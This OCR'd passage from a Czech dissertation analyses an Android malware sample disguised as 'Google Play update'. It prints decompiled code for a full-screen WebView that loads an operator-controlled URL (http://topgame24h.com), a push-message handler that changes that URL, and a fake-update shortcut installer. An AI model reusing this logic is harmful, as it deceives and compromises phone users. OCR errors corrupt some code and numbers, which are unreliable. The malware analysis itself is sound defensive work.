~/Android/Sdk/build-tools/24.0.1/./aapt dump resources ~/lab/com.system.main.apk >
~/lab/com.system.main-data_dump.txt.

Pro uspésne vyhledani ptisluSného XML layoutu je potfeba mit na paméti, ze
zatimco identifikatory v R.class jsou ukladany v dekadickém tvaru, v
resources.arsc jsou ve tvaru hexadecimalnim. To znamenda, ze hledany
identifikdtor musi byt preveden z dekadického tvaru 2130903041 do tvaru
hexadecimalniho: 7F030001. Nyni je moZné€ v souboru com.system.main-
data_dump.txt vyhledat identifikator 7F030001. Vysledek je zachycen na obrazku
5.4.

type 2 configCount=1 entryCount=2
spec resource 0x7f030000 com.system.main:layout/device admin_sample: flags=0x00000000

config (default):

resource 0x7f030001 com.system.main:layout/view_screen: t=0x03 d=0x00000009 (s=0x0008 r=0x00)
type 3 configCount=1 entryCount=1
spec resource 0x7f040000 com.system.main:xml/device_admin: flags=0x00000000
config (default):
resource 0x7f040000 com.system.main:xml/device_admin: t=0x03 d=0x00000004 (s=0x0008 r=0x00)

resource 0x7f030000 com.system.main:layout/device_admin_sample: t=0x03 d=0x00000008 (s=0x0008 r=0x00)

Obr. 5.4: Soubor com.system.main-data_dump.txt, ktery byl ziskan pomoci aapt dump
[zdroj viastni]

Z nalezeného Zaznamu spec resource 0x7f030001
com.system.main:layout/view_screen: flags=0x00000000 Ize ziskat poZadovane
informace. Hledany soubor se nachazi v adresafi com.system.main, ktery byl
vytvofen dekompilaci typu 2, v podadresatich /res/layout, a jmenuje se
view_screen.xml. Na ziklad€ ziskanych dat se provede rekonstrukce vstupni
obrazovky malwaru. V Android Studiu se vytvoii novy projekt, nasledné je
otevien soubor strings.xml (soubor byl vygenerovan Android Studiem) a do né&j
je piidan obsah souboru /com.system.main/res/values/strings.xml
z vySetfovaného malwaru. Do souboru activity main.xml (soubor byl rovnéz
vygenerovan Android Studiem, ptedstavuje GUI Entry Point rekonstruované
aplikace) je nakopirovan obsah souboru

/com.system.main/res/layout/view_screen.xml.

Nyni je nezbytné upravit identifikdtory pochdzejici z malwaru, nebot’ je
Android Studio nezné (viz ¢ervené vyznaCené identifikatory zacinajici @id/ na
obrazku 5.5).
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</Fra

Obr. 5.5: Soubor activity main.xml obsahujici chybné identifikatory [zdroj viastni]

Vysledek opravy je vidét na obrazku 5.6.

</Frame

Obr. 5.6: Opraveny soubor activity main.xml [zdroj viastni]

Jakmile jsou dokoneny opravy souboru activity main.xml, je moZné pomoci
Android Studia provést rekonstrukci tivodni obrazovky a zjistit, jak bude vypadat
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vysledna aplikace. Pohled na obrazek 5.7 vzbuzuje na prvni pohled podezieni
z nékolika divodu:
o faleSny nazev aplikace, ktery je vidét v horni titulkové listé aplikace,
e malware se pomoci nazvu Google Play update snazi vypadat jako dilezita
cast systému, kterd ma na starosti spravu aplikaci v mobilnich zatizenich,
a tim podvést uzivatele.

Mechanismus faleSnych jmen mobilniho malwaru je nasledujici. V souboru
AndroidManifest.xml je element application, ktery mé& parametr
android:label="@string/app_name". Jeho hodnota @string/app _name ftika, Ze
nazev aplikace, ktery uZzivatel uvidi, je v souboru
/com.system.main/res/values/strings.xml v elementu string, ktery se jmenuje
app_name:

strings.xml <string name="app name">Google Play update</string>

To je diavod, pro¢ byl v Android Studiu do vygenerovaného souboru
strings.xml vloZen obsah souboru /com.system.main/res/values/strings.xml
z vySettovaného malwaru (bez tohoto kroku by nebylo moZzné uvedeny rys
malwaru odhalit). Na zdklad¢ vyzkumu provedeného v ramci dizertacni prace je
mozn¢ prohlasit, Zze v operacnim systému Android neni Zadny bezpecnostni
mechanismus, kterym by byla kontrolovana pravost hodnoty app name. To
znamena, Ze je pro uzivatele velmi tézké rozlisit, co je skutena Cast systému a co
je malware.

- Google Play update

Obr. 5.7: Rekonstrukce uvodni obrazovky malware, provedenda pomoci Android Studia
[zdroj viastni]
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Na obrazku 5.7 je zobrazen rekonstruovany GUI Entry Point. Z obrazku je
patrné, Ze horni titulkova lista aplikace je viditelna. LiStu generuje automaticky
operacni systém. Viditelnost titulkove liSty miize vést diky nekonzistenci (jina
barva, styl, obsah popisku (title), ikona,...) se zbytkem obrazovky ke
kompromitaci daného malwaru. Z uveden¢ho diivodu ji tviirci malwaru Casto
potlauji tak, aby méli plnou kontrolu nad celou obrazovkou. Potladeni
viditelnosti titulkové listy aplikace je mozné provést nékolika zptisoby. Prvnim
z nich je potlaceni provedené pomoci ptikazl ve zdrojovem kodu. Proto je nutné
zkontrolovat zdrojovy kod vstupni tfidy MainActivity.class. V ptipadé
vySetfovaného vzorku com.system.main.apk byl vysledek kontroly negativni.
Dalsim zplisobem, jak lze potlacovani zobrazovani titulkové liSty provést, je
uprava souboru styles.xml. Musi byt zjisténo, zda hodnoty parametri v souboru
/com.system.main/res/values/styles.xml obsahuji kli¢ové slovo NoActionBar.
Kontrola uvedeného souboru byla rovnéz negativni. Posledni moznosti, kterou
mulZe tvlirce mobilniho malwaru pouzit, je Uprava parametru android:theme
v elementu application nachdzejici se v souboru AndroidManifest.xml. V tomto
ptipadé byl vysledek kontroly pozitivni:

<application  android:allowBackup="true"  android:icon="@drawable/ic_launcher"
android:label="@string/app_name" android:theme="@android:style/Theme.NoTitleBar">

Ptidanim vySe uvedeného kodu do souboru AndroidManifest.xml v Android
Studiu byla dokoncena rekonstrukce GUI Entry Pointu. Na obrazku 5.8 je vidét
vzhled malwaru. Celou obrazovku zabird komponenta WebView, to znamena, ze
tvlirce mobilniho malware ma plnou kontrolu nad tim, co uZivatel vidi na
obrazovce svého mobilniho zafizeni.
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Obr. 5.8: Uvodni obrazovka malware po pridani hodnoty
@android:style/Theme.NoTitleBar [zdroj viastni]

To, Ze celou obrazovku zabird jedind komponenta WebView a zaroven se
nejedna o hybridni aplikaci, je podezielé. Komponenta WebView slouzi pro
zobrazovani obsahu webovych stranek piimo v mobilni aplikaci. Tvirci
mobilniho malware naSli techniky, jak WebView komponentu vyuZzivat. V
nasledujici fazi nebude analyza probihat pomoci néstrojic Android Studia.
Analyza bude provadéna pouze nad soubory ziskanymi prosttednictvim
dekompilace prvniho a druhého typu. DalSim krokem je identifikace komponenty
WebView. Jak bylo popsano vyse, vstupni tfidé MainActivity patii XML layout,
ktery se nachazi v /com.system.main/res/layout/view screen.xml. V souboru
view_screen.xml je pouze jeden objekt typu WebView a ma identifikator
id/webview:

<WebView android:id="@id/webview" android:layout_width="fill_parent"
android:layout_height="fill_parent" />

Z vypisu souboru com.system.main-data dump.txt je vidét, Ze identifikatoru
id/webview odpovida fadek:

spec resource 0x7f070001 com.system.main:id/webview: flags=0x00000000

Nyni je potteba prevést ziskany hexadecimalni identifikator 7f070001 na
dekadicky tvar 213116518S5.
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Dekadicky identifikator 2131165185 byl nalezen ve vetejné metod¢ d() pattici
tridé MainActivity.class:

this.r = ((WebView)findViewByld(2131165185));

Objekt r je hledana komponenta WebView, ktera zabira celou obrazovku.
Nejvice Skody v komponent¢ WebView mohou zpilisobit povolen¢ JavaScripty,
které jsou z tohoto dlivodu ve vychozim nastaveni zakazany. To znamena, Ze je
tvlirce mobilniho malwaru musi explicitné povolit. Je nutné v kddu vySetfovane
vstupni aktivity (MainActivity) ovéfit, zda je povolen JavaScript. Je potteba
vySetiit, zda se v kodu metody d() tftidy MainActivity.class nevyskytuje volani
setJavaScriptEnabled(true).

public void d()

{
this.c = true;
this.r = ((WebView)findViewById(2131165185));
WebSettings localWebSettings = this.r.getSettings();
a(localWebSettings);

localWebSettings.setAppCacheEnabled(true);
localWebSettings.setBuiltInZoomControls(true);
localWebSettings.setLightTouchEnabled(true);
localWebSettings.setLoadsImagesAutomatically (true);
localWebSettings.setRenderPriority(WebSettings.RenderPriority.HIGH);
localWebSettings.setSavePassword(true);
localWebSettings.setSupportMultipleWindows (true);
localWebSettings.setUseWideViewPort(true);
this.r.setWebViewClient(new g(this.a, this.s));

try

this.r.loadUrl(c());
return;

}
Obr. 5.9: Povoleni JavaScriptu v komponenté WebView [zdroj viastni]

Na obrazku 5.9 je wvidét, Ze komponenta WebView je pouZivana
v nebezpecném rezimu. ReZzim umoziuje plné pouzivani/zneuzivani JavaScriptu.
Z piikazu this.r.loadUrl(c()), ktery je take vidét na obrazku 5.9, je rovnéz patrné,
ze se komponenta WebView pokousi nacist externi obsah. JavaScripty spolu s
HTML kody je mozné do WebView nacitat 1 externé ze vzdalenych serveri. To
znamena, Ze se mohou meénit cile atokl i celé mechanismy tutoki podle toho, jake
JavaScripty uklada Utocnik na prislusnych serverech. Pfitomnost utocnych
JavaScriptll na ur€itém serveru nemusi znamenat, Ze server patii Utocnikovi.
Miize se naptiklad jednat o napadeny server, nad kterym Uto¢nik ziskal kontrolu,
nebo miZe byt obsah Skodlivého JavaScriptu umistén na free hostingovém
webovém serveru (vétSinou jde o domény tfetiho fadu) ¢i jinde na webovych
strankach v HTML tagu s atributem hidden:

<p hidden>Obsah Uto¢ného JavaScriptu </p>
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Nicméné pro vyhledani ptipojovaci adresy z this.r.loadUrl(c()) (fetézce typu
String) je nutné piekonat obfuskaci. Pfekonani obfuskace by bylo pomoci ru¢niho
otevirani, prochdzeni a hledani v *.class souborech zdlouhavé. Z tohoto diivodu
se v takovych piipadech pouZziva nastroj Java Decompiler, ktery byl popsan v
oddile Ruc¢ni staticka analyza. Java Decompiler dok4Ze namapovat komplikovane
piedivo referenci vSech obfuskovanych tfid, metod 1 proménnych. Reference jsou
v Java Decompileru k dispozici formou odkazi, viz ¢ervené ramecky na obrazku
5.10. Odkazy umoziuji rychlé pfechazeni mezi prvky obfuskovanych zdrojovych
kodu.

String str = c.a() + "/unregister";
HashMap localHashMap = new HashMap();
localHashMap.put("regIld", paramString);

Obr. 5.10: Reference poskytujici program Java Decompiler [zdroj viastni]

Instance r tfidy WebView pouZziva v metodé loadUrl pro nalezeni ptipojovaci
adresy vetfejnou metodou c() patfici tfidé MainActivity: this.r.loadUrl(c()), ktera
vraci fetézec typu String. Metoda c() pouZije pro vraceni vystupniho fetézce
volani metody b patfici tfidé o: return o.b("weburlkey", j). Volani prob&hne jiz
s konkrétni hodnotou proménné j, ktera patii tfidé MainActivity. To znamena:
o.b("weburlkey", "http://topgame24h.com"). Nasledné¢ metoda b tiidy o pouzije
metodu b tiidy MainActivity, které vrati objekt typu SharedPreferences, pomoci
kterého lze ziskavat data (ale také je upravovat) ze souboru com.system.main
[142], ktery se nachdzi v privatnim datovém prostoru vysetfovaného malware:
return getSharedPreferences("com.system.main", 1). Ziskany objekt typu
SharedPreferences pouzije metodu b tfidy o pro ziskani fetézce z polozky
weburlkey ze souboru com.system.main. Pokud soubor com.system.main
neobsahuje polozku weburlkey, jejiz hodnota by mohla byt ziskana, pouzije se
vychozi hodnota "http://topgame24h.com" [143]. Pak je hodnota, kterd byla
piectena z polozky weburlkey vracena metodé€ c, pattici ttidé MainActivity. Ta ji
pfeda jako hodnoty typu String objektu tfidy WebView, ktery ji pouZije jako
piipojovaci adresu: this.r.loadUrl(c()). Pro vétSi ndzornost byl proces ziskavani
piipojovaci adresy zachycen na obrazku 5.11.
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MainActivity.class

o.class

this.r.loadUrl(c()) |

/| String j = "http://topgame24h.com";

public String c()
{

return o.b("weburlkey", j);

I

public static String b("weburlkey", "http://topgame24h.com")
{

return MainActivity.a().b().getString("weburlkey",
"http://topgame24h.com");
}

public SharedPreferences t')()

{

return getSharedPreferences("com.system.main", 1);

}

Obr. 5.11: Proces ziskavani pripojovaci adresy pro objekt r [zdroj viastni]

Jako posledni zbyva vysvétlit, jak se hodnota polozky weburlkey dostane do
privatniho souboru com.system.main. Ukon je proveden pomoci systému GCM
zprav, coz je zajiSténo pomoci tiid GCMIntentService, ¢ a MainActivity a jejich
metod. Odhaleny mechanismus je zobrazen na obrazku 5.12.

Trida GCMIntentService:

protected void a(Context paramContext, Intent paramintent)
{
try
{
paramintent = paramintent.getExtras().getString("price");
if (paramintent.equals(""))
{
Log.w("GCMintentService", "onMessage(): message is empty!!IHITIII");
return;

}

if (paramintent.contains("c_u"))

{

c.i(paramContext, paramintent);

Trida c:
—— public static void i(Context paramContext, String paramString)

{
paramContext = a(paramString, "s_u", "e_u");
paramString = a(paramContext, "//","/");

SharedPreferences.Editor localEditor = MainActivity.a().b().edit();
localEditor.putString("weburlkey", paramContext);
localEditor.putString("webshorturlkey", paramString);
localEditor.commit();
if (MainActivity.a().c) {
MainActivity.a().runOnUiThread(new d());

}

}

return;

}

if (paramintent.contains("s_Im"))
{
c.m(paramContext, paramintent);

}

return;

}

catch (Exception paramContext) {}

}

Trida: MainActivity

private static MainActivity q;

public static MainActivity a()
{

return q;

}

public SharedPreferences b()

{

return getSharedPreferences("com.system.main", 1);

}

Obr. 5.12: Mechanismus ukladani weburlkey v privatnim souboru com.system.main
[zdroj viastni]

Dalsi smér analyzy malwaru je uréen opravnénimi, které Skodlivy software
poZaduje a kter¢ jsou definovany v souboru AndroidManifest.xml:

<uses-permission android:name=".permission.C2D_MESSAGE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>



<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission
android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission
android:name="android.permission. WRITE_EXTERNAL_STORAGE"/>
<uses-permission
android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission
android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
<uses-permission
android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

Zejména opravnéni

com.android.launcher.permission.INSTALL SHORTCUT

budi podezieni, Ze by malware mohl manipulovat se zastupci, zejména pak
vytvatret nové spoustéce. Tyto techniky pouziva mobilni malware pro takzvany
Fake Update. Pro dal$i vySetfovani je potieba vytvofit adresafovou strukturu,
ktera bude ve formé& souborti obsahovat vSechny tfidy malwaru. ProtoZe v takove
struktufe bude mozné rekurzivné vyhledavat uvnitt *.java tfid pomoci regularnich
vyrazil. Proces lze vykonat prostfednictvim ptikazu Save All Sources v Java
Decompileru. V uloZenych zdrojovych koédech 1ze vyhledavat pomoci néstroje
GNU grep.

Nejprve se pomoci piikazu

grep -rn ''home/milan/lab/MALWARE/com.system.main-dex2jar.jar.src' -e
"INSTALL SHORTCUT" wvSech tfidach malware vyhledd klic¢ové slovo
INSTALL SHORTCUT. Vysledkem je jediny zaznam, ktery odkazuje na tfidu
0:

/home/milan/lab/MALWARE/com.system.main-
dex2jar.jar.src/com/system/main/o.java:54:
paramString1.setAction("com.android.launcher.action.INSTALL_SHORTCUT");

Ze zdrojového kodu ttidy o bylo zjiSténo, Ze se o instalaci spoustéCe stard
metoda a, ktera je volana se Ctyfmi parametry:

public static void a(Context paramContext, String paramString1, int paramint, String
paramString2)

Ttida o obsahuje 1 dalsi metody a, které provadi odliSné operace. VSechny

metody a se od sebe 1i§i pouze poctem svych parametrii. Nyni je potieba zjistit,
co metodu se Ctyfmi parametry tfidy o spousti.
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Pomoci ptikazu grep -rn 'home/milan/lab/MALWARE/com.system.main-
dex2jar.jar.src/' -e "[0][.][a]" bylo zjiSténo, Ze metody a tfidy o jsou volany ve
tridach: c, p, h, NetworkStateReceiver, MainActivity a GCMIntentService. To
znamena, Ze je potfeba systematicky projit vySe uvedené tfidy.

Rucéni analyzou bylo zjiSténo, ze ve tfidé h metoda b spousti metody a tfidy o,
pficemz jsou spousStény metody a se tfemi a se Ctyfmi parametry:

protected void b(String paramString)

{
MainActivity.a().g();
if (this.d)
{
if (this.h 1=1i.c) {
break label39;
) o
o.a(this.e, this.c, this.i); // VOLANI 1 - tfi parametrova metoda a tfidy o
}
label39:
do
{
return;
if (this.h == i.b)
{ .
o.a(this.e, this.c, this.g, this.f); // VOLANI 2 - étyr parametrova metoda a tfidy
0
return;
}

} while (this.h !=i.d); o
o.a(this.e, this.c, this.g, this.f); // VOLANI 2 - CtyF parametrova metoda a tidy o
o.a(this.e, this.c, this.i); // VOLANI 1 - tfi parametrova metoda a tfidy o

}

Nyni je mozné provést analyzu Ctyf parametrové metody a tfidy o, jejiZ volani
bylo hledano, nebot’ v téle Ctyt parametrové metody a tfidy o je kli€ové slovo
INSTALL SHORTCUT. V kodu vysSe je volani oznafeno programatorskym
komentafem: / VOLANI 2 - &tyf parametrovd metoda a tiidy o. Pro vétsi
piehlednost jsou jednotlive fadky ¢tyt parametrové metody a tfidy o o¢islovany:

1 public static void a(Context paramContext, String paramString1, int paramint, String
paramString2)

2{

3 if (b(paramString2, false)) {

4 return;

198



5}

6 try

[

8 Intent locallntent = new Intent("android.intent.action.VIEW");

9 locallntent.setDataAndType(Uri.fromFile(new  File(paramString1)),

"application/vnd.android.package-archive");

10 paramString1 = new Intent();

11 paramString1.putExtra("android.intent.extra.shortcut.INTENT", locallntent);

12 paramString1.putExtra("android.intent.extra.shortcut. NAME", paramString2);

13 paramString1.putExtra("android.intent.extra.shortcut.ICON_RESOURCE",
Intent.ShortcutlconResource.fromContext(paramContext, paramint));

14 paramString1.setAction("com.android.launcher.action.INSTALL_SHORTCUT");

15 paramContext.sendBroadcast(paramString1);

16 return;

17 }

18 catch (Exception paramContext)

19 {

20 paramContext.printStackTrace();

21}

22}

Kod v ukazce vyse je poskozeny. MoZné chyby ve Ctyt parametrové metod¢ a
ttidy o jsou vyznaceny tucné. Z uvedeného plyne, Ze pii transformaci kodu
metody pomoci Dex2jar a Java Decompileru ze souboru com.system.main.apk se
vyskytly chyby, které brani jeji rekonstrukci. Pro spravné vySetfeni malware je
nutné provést restaurovani poSkozenych casti metody pomoci odpovidajicich
casti Smali kodu, které byly ziskany pomoci dekompilace typu 2. Smali kod Ctyt
parametrovée metody a se nachdzi vsouboru o.smali v adresafi:
/com.system.main/smali/com/system/main. Béhem procesu restaurovani budou
postupné prochazeny jednotlivé ptrikazy vjazyce Smali a porovnavany
s odpovidajicimi piikazy v jazyce Java. Jako prvni bude analyzovana samotna
definice Ctyt parametrove metody tfidy a:

Smali:
.method public static a(Landroid/content/Context;Ljava/lang/String;ILjava/lang/String;)V
locals 3

Java:
public static void a(Context paramContext, String paramString1, int paramint, String
paramString2)

Pti pohledu na obé definice vyvstava otdzka, jak budou v jazyce Smali v téle
metody a volany jednotlivé parametry? Na rozdil od Java kodu, kde jsou uvedeny
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datové typy parametri 1 jejich jména: Context paramContext, String
paramString1, int paramlInt, String paramString2, v jazyce Smali jsou definovany
pouze datové typy:

Landroid/content/Context;Ljava/lang/String;ILjava/lang/String;,

které navic nejsou od sebe nijak oddéleny. Datovy typ zacinajici pismenem L
znamend objekt a m4 nasledujici strukturu: Ln1/n2/n3; kde n3 ptedstavuje jméno
tiidy, ze které je objekt vytvaren, nl a n2 pfedstavuji pozici n3 tfidy v hierarchii
ttid. To znamend, Ze  android.content.Context (Java) odpovida
Landroid/content/Context;Ljava/lang/String; (Smali). Datovy typ objekt je jako
jediny zakoncCen stfednikem. DalSi parametr v potadi je definovan jako objekt
typu String. Nasleduje I, coZ je v jazyce Smali ekvivalent Java typu int, na ktery
bez jakéhokoliv odd€lovace ¢1 mezery navazuje objekt typu String (ILjava...).
Jména parametri metod jsou v jazyce Smali ptidélovana automaticky podle
nasledujiciho mechanismu: Na prvnim fadku metody a je konstrukt .locals k, kde
k znac¢i pocet lokalnich proménnych. Dale se vezme [ vstupnich parametri a
vypocte se celkovy pocet registri n = k + [, které bude metoda potitebovat.
Usazeni proménnych v registrech je nasledujici: nejprve jsou uloZeny lokalni
proménné, které jsou pojmenovany v, az vy_;. Poté jsou do zbyvajicich k azn —
1 registrll uloZzeny parametry py az p;_1.

Vysetfovand metoda a mé na prvnim tadku .locals 3 (viz vySe Smali definice
Ctyf parametrové metody tfidy a), ktery znaci, Ze metoda pouziva tfi lokalni
proménné. Dale metoda pouziva Ctyti parametry. Z toho vyplyva, Ze metoda bude
pouzivat sedm registrii. Lokalni proménné se budou jmenovat v,, v; a v,. Zbytek
registril bude osazen vstupnimi parametry, které se budou jmenovat py, p1, 02 a
p3. Celkové uloZeni vstupnich parametrii v registrech metody a je zobrazeno na
obrazku 5.13.

Registr0 |vO

Registrl |v1

Registr2 |v2

Registr 3 |p0 Landroid/content/Context; |Context
Registr4 |pl Ljava/lang/String; String
Registr5 |p2 I int
Registr6 |p3 Ljava/lang/String; String

Obr. 5.13: Ulozeni vstupnich parametru v registrech metody a [zdroj viastni]

Pro vétsi prehlednost je na obrazku 5.14 zndzornéno mapovani vstupnich
parametri metody a tfidy o.
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public static void a(Context paramContext, String paramString1, int paramint, String paramString2)

|
[ \ [ \ T \
.method public static a(Landroid/content/Context;Ljava/lang/String;ILjava/lang/String;)V

| [

p0 pl p2 p3

Obr. 5.14: Znazornéni mapovani vstupnich parametrit metody a tridy o [zdroj
viastni]

Nyni, kdyZ jsou odvozena jména vstupnich parametrii, je mozné pokracovat
v restaurovani poskozeného kodu metody a tfidy o.

Uvodni &ast kodu je v pofadku, proto je moZné s opravami zaéit aZ na osmém
fadku metody a:

Intent locallntent = new Intent("android.intent.action.VIEW");

V jazyce Smali tomu odpovidaji ti1 fadky:

(1) new-instance v0, Landroid/content/Intent;

(2) const-string v1, "android.intent.action.VIEW"

(3) invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V

Nejprve je vytvofena proménna v0, kterd bude slouzit pro novy objekt
(instanci) tfidy Intent (1). Pak je do proménné v1 ulozZen String, jehoZ hodnota je
"android.intent.action.VIEW" (2). Nasledné je spustén konstruktor tfidy Intent
(3). V proménné vO je nyni plnohodnotna instance tfidy Intent. Kod je v obou

jazycich stejny, coZ znamena, Ze je v poradku. Je moZné prejit na devaty radek
metody a:

locallntent.setDataAndType(Uri.fromFile(new File(paramStringl)),
"application/vnd.android.package-archive");

V jazyce Smali tomu odpovidaji tadky (4) az (9):

(4) new-instance v1, Ljava/io/File;

(5) invoke-direct {v1, pl}, Ljava/io/File;-><init>(Ljava/lang/String;)V

(6) invoke-static {v1}, Landroid/net/Uri;-
>fromFile(Ljava/io/File;)Landroid/net/Uri;
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(7) move-result-object v1
(8) const-string v2, "application/vnd.android.package-archive"

(9) invoke-virtual {v0, v1, v2}, Landroid/content/Intent;-
>setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;

Na tadku (4) je zménén typ proménné v1, ve které bude novy objekt (instance)
tiidy File. Pak byl pomoci konstruktoru tfidy File vytvofen objekt tfidy File, pii
jehoZ tvorbé byl pouzit vstupni parametr pl. Datovy typ parametru p1 je String.
Znamena to, Ze Java parametru paramStringl odpovida pl a je v ném uloZena
cesta k instalaénimu APK souboru §kodlivého softwaru. Radek (5) odpovida Java
kodu: new File(paramStringl). Kod na fadku (6) zavola metodu fromFile, tfidy
Uri, jako parametr pouZije obsah proménné v1. Radek (6) odpovida Java kodu:
Uri.fromFile(new File(paramStringl). Kod na fadku (7) presune vysledek volani
metody fromFile z fadku (6) do promé&nné v1. Nasledné je do proménné v2 uloZen
String, jehoz hodnota je "application/vnd.android.package-archive" (8). Jako
posledni je pomoci proménnych v0, vl a v2 zavolana metoda setDataAndType,
ktera patii tfid¢ Intent. Java kod na fadku devét a Smali kéd na fadcich (4) az (9)
jsou stejné, z ¢ehoz vyplyva, Ze je kod na devatem tadku spravny. Desaty fadek
Java kodu metody a:

paramString1 = new Intent();
by mél odpovidat Smali kodiim na tadcich (10) a (11):
(10) new-instance v1, Landroid/content/Intent;
(11) invoke-direct {v1}, Landroid/content/Intent;-><init>()V

Proménna v1 bude slouZit pro novy objekt (instanci) ttidy Intent (10). Pak je
spustén konstruktor tfidy Intent (11), nyni je v proménné v1 instance tfidy Intent.
To znamena, Ze zde byla vytvorena dalSi nova instance tfidy Intent. Java kod na
fadku deset a Smali kod na tadcich (10) a (11) je rozdilny, z ¢ehoz plyne, Ze je
Java kod na desatém tadku Spatny. Transformace provedena pomoci Dex2jar a
Java zptisobila chybu, kdy z neznamého diivodu misto vytvoreni nové instance
ttidy Intent zavolala neopravnéné konstruktor tfidy Intent na vstupni parametr
paramString].

Smali kod na fadcich (10) a (11) umoZnil zrestaurovat Java kod desatého radku:

Intent fixedIntent = new Intent();
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Pivodni jedenacty fadek Java kodu metody a:
paramString1.putExtra("android.intent.extra.shortcut.INTENT", locallntent);
by mél odpovidat Smali kodiim na tadcich (12) a (13):

(12) const-string v2, "android.intent.extra.shortcut.INTENT"

(13) invoke-virtual {v1, v2, v0}, Landroid/content/Intent;-
>putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

Do proménné¢ v2 byl ulozen  String, jehoZ hodnota je
"android.intent.extra.shortcut. INTENT" (12). Pak je pomoci proménnych v1, v2
a v0 zavolana metoda putExtra, kterd patfi tfid€ Intent (13):

e v proménné vl je instance tfidy Intent z fadkt (10) a (11), ktera byla v Java
kodu opravena,
e v proménné v2 je typ String a obsahuje
"android.intent.extra.shortcut. INTENT" - fadek (12),
e v proménné v0 je prvni instance tfidy Intent z fadki (1), (2) a (3).

Z tadki (12) a (13) a z aktudlniho obsahu proménnych v1, v2 a v3 je jasné, Ze
plvodni jedenacty fadek Java kodu metody a byl Spatné transformovan. Java kod
se mylné pokousi volat metodu putExtra nad vstupnim parametrem paramString1,
ktery je instanci tfidy String. Metoda putExtra miZe byt volana pouze nad objekty
pattici tfid€¢ Intent. Z fadku (13) je patrné, Ze metoda putExtra je volana nad
instanci tfidy Intent, ktera je uloZzena v proménné vl (proménnd vl je prvni v
potadi). Odpovida proménne fixedIntent z opraveného Java kodu. VySe uvedena
analyza poskytuje dostatek informaci pro opravu jedenictého fadku Java kodu
metody a:

fixedIntent.putExtra("android.intent.extra.shortcut.INTENT", locallntent);

Nyni je mozné prejit na dvanacty radek piivodniho Java kddu metody a:
paramString1.putExtra("android.intent.extra.shortcut. NAME", paramString2);
ktery mél odpovidat Smali kédiim na tadcich (14) a (15):

(14) const-string v0, "android.intent.extra.shortcut. NAME"

(15) invoke-virtual {v1, v0, p3}, Landroid/content/Intent;-
>putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
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Do proménné¢ vO byl ulozen  String, jehoZ hodnota je
"android.intent.extra.shortcut. NAME" (14). Pak je pomoci proménnych v1, v0 a
vstupniho parametru p3 zavolana metoda putExtra, ktera patfti tfidé Intent (15):

e v proménné vl je opravena instance tfidy Intent z fadki (10) a (11),

e v proménné¢ vVvO0 je nyni datovy typ String a obsahuje
"android.intent.extra.shortcut NAME" - fadek (14),

e v p3 je vstupni parametr typu String. Z kdédu na tadcich (14) a (15) je
ziejmé, Ze p3 a jeho Java ekvivalent paramString2 obsahuji jméno skodlivé
aplikace, kter¢ uvidi uZivatel na vytvofeném zastupci.

Z tadki (14) a (15) a z aktualniho obsahu proménnych v1, v0 a ze vstupniho
parametru p3 je vidét, Ze plivodni dvanacty fadek Java kodu metody a byl Spatné
transformovan. Java kod se mylné pokousi volat metodu putExtra nad vstupnim
parametrem paramStringl, ktery je instanci tfidy String. Metoda putExtra miize
byt volana pouze nad objekty pattici tfid¢ Intent. Z fadku (15) je patrn€, Ze metoda
putExtra je volana nad instanci tfidy Intent, ktera je uloZzena v proménné vl
(proménna vl je prvni v potadi). Odpovida proménné fixedIntent z opravené¢ho
Java kodu. VySe uvedend analyza poskytuje dostatek informaci pro opravu
dvanactého fadku Java kodu metody a:

fixedIntent.putExtra("android.intent.extra.shortcut. NAME", paramString2)
Jako dalsi bude zrestaurovan ttinacty fadek ptivodniho Java kodu metody a:

paramString1.putExtra("android.intent.extra.shortcut.ICON_RESOURCE",
Intent.ShortcutlconResource.fromContext(paramContext, paramint));

ktery mél odpovidat Smali kédiim na tadcich (16), (17), (18) a (19):
(16) const-string v0, "android.intent.extra.shortcut. CON_RESOURCE"

(17) invoke-static {p0, p2}, Landroid/content/Intent$ShortcuticonResource;-
>fromContext(Landroid/content/Context;|)Landroid/content/Intent§ShortcuticonResource;

(18) move-result-object v2

(19) invoke-virtual {v1, v0, v2}, Landroid/content/Intent;-
>putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

Do proménné¢ vO byl ulozen  String, jehoZ hodnota je
"android.intent.extra.shortcut. ICON RESOURCE" (16). Na fadku (17) je
vytvofen novy objekt typu Intent.ShortcutlconResource pro zadany kontext a ze
zadan¢ho identifikatoru zdroje (Resource Identifier). Kontextem je v tomto
ptipad¢€ vstupni parametr p0 a identifikatorem zdroje je vstupni parametr p2. To
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znamena, Ze vstupni parametr p0 a jeho Java ekvivalent paramContext pfedstavuji
kontext, ze kterého je volana Ctyfparametrova metoda a tfidy o. Vstupni parametr
p2 je identifikdtorem zdroje obrazku, ze kterého bude vyroben spousté¢ na
domovské obrazovce mobilniho zafizeni. Smali kod tadku (17) odpovida Java
kodu: Intent.ShortcuticonResource.fromContext(paramContext, paramlInt) (jedna
se 0 druhy parametr metody putExtra ze tfinactého fadku plivodniho Java kodu).
Na tadku (18) je pfesunut vysledek z ptfedchoziho fadku (17) do proménné v2.
Pak je pomoci proménnych v1, v0 a v2 zavolana metoda putExtra, ktera patfi tridé
Intent (19):
e v proménné vl je opravend instance tfidy Intent z fadki (10) a (11),
e v proménné v0 je typ String a obsahuje
"android.intent.extra.shortcut. ICON RESOURCE" - fadek (16),
e v proménné v2 typu objekt typu Intent.ShortcutlconResource — fadky (17)
a (18).

Z tadki (16), (17), (18) a (19) a z aktudlniho obsahu proménnych v1, v0 a v2
je vidét, Ze ptivodni tiinacty fadek Java kddu metody a byl Spatné transformovan.
Java kod se mylné pokousi volat metodu putExtra nad vstupnim parametrem
paramString1, ktery je instanci tfidy String. Metoda putExtra mize byt volana
pouze nad objekty pattici tfidé Intent. Z fadku (19) je patrné, Ze metoda putExtra
